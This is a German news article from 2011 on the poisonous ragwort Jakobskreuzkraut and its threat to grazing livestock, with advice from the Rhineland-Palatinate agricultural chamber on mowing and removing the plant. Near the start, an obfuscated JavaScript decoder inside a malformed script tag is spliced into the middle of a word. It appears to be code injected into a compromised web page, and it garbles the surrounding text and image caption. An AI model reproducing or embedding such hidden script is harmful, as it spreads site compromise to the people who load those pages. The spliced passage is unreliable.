Giftpflanze gefährlich für Weidetiere

18. Mai 2011 | Von Redaktion | Kategorie: Gesundheit

[Bad Kreuznach, 11-05-2011]. Die Landwirtschaftskammer Rheinland-Pfalz weist erneut auf die Problematik des giftigen Jakobskreuzkrautes hin. Dieses wird auch 2011 die Rinder- und Pferdehalter in Rheinland-Pfalz beschäftigen. Erneut wird zunehmendes Auftreten der giftigen Senecio jacobaea, auch Jakobs-Greiskraut genannt, erwartet. Das veranlasst die Landwirtschaftskammer zu einem neuerlichen Warnhinweis, der sich vor allem an Rinder-, Pferde- und Schafhalter richtet. Insbesondere Jungtiere fressen die Pflanze gelegentlich. Besonders gefährlich ist sie jedoch in Heu und Silage.

Die L<script type=function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandwirtschaftskammer Rheinland-Pfalz weist erneut auf die Problematik des giftigen Jakobskreuzkrauts hin (Foto: Tutto62/pixelio.de)." width="214" height="300" />

Das anspruchslose Jakobskreuzkraut wird zwi­schen 30 und 100 Zenti­meter groß und hat löwenzahnähnliche Blätter und im oberen Teil gelbe Blüten in einer weit verzweigten vielblü­tigen Schirmrispe. Die gesamte Pflanze bein­haltet Alkaloide, ist da­her giftig und verursacht Leberschäden. Die jüngsten Pflanzen und die gelben Blüten sind am giftigsten. Pferde und Rinder reagieren auf das Kraut empfindlicher als Schafe und Zie­gen. Besonders gefährlich für die Tiere ist die Zeit vor der Blüte, denn die jungen, besonders giftstoffreichen Blätter werden auf der Weide gefressen. Die Folgen sind Vergiftungen, die sich bei wiederholter Aufnahme anreichern. Es kommt dann zu Schmerzen im Magen- und Darmbereich und zu Krämpfen. Die Leberschäden können bei Rindern und Pferden zum Tod führen. Sobald die Pflanzen ab Juni blühen, ist die Pflanze ausgewachsen und hat gelbe, margeri­tenartige Blüten. Tiere rühren sie dann meist nicht mehr an. Wenn die Blüten Samen bilden, weil die Weide nicht gemäht wird, ist die Ausbreitung im kommenden Jahr vorprogrammiert.

Typische Zahnung am jungen Blatt

Auf regelmäßig gemähtem Grünland hat das Jakobskreuzkraut keine Chance, sich zu vermehren. Optimale Bedingungen findet es aber auf Weiden, die nicht regelmäßig nachgemäht werden. Besonders häufig ist es auf wenig gepflegten Pferdeweiden zu finden. Die Landwirtschaftskammer Rheinland-Pfalz empfiehlt, durch regelmäßiges Nachmähen von Grünlandflächen das Blühen und insbesondere die Samenbildung der Pflanzen zu verhindern. Um das Jakobskreuzkraut wirksam zu bekämpfen, sollte es ausgerissen oder ausgestochen und die Pflanzenreste entsorgt werden. Dabei sind auch die Wurzeln so weit wie möglich zu entfernen, da Jakobskreuzkraut auch aus im Boden verbliebenen Wurzelresten erneut austreiben kann.

Eine Broschüre mit dem Titel Jakobskreuzkraut, eine Giftpflanze auf dem Vormarsch hat die Landwirtschaftskammer Nordrhein-Westfalen aufgelegt. Sie kann kostenlos bestellt werden bei der Landwirtschaftskammer Nordrhein-Westfalen, Siebengebirgsstraße 200, 53229 Bonn, e-mail: info@lwk.nrw.de Telefon: 02 28/7 03 13 50, Fax: 02 28/7 03 84 34.

Ein Download der Broschüre ist hier möglich.

Weitere Informationen unter www.jakobskreuzkraut.de.

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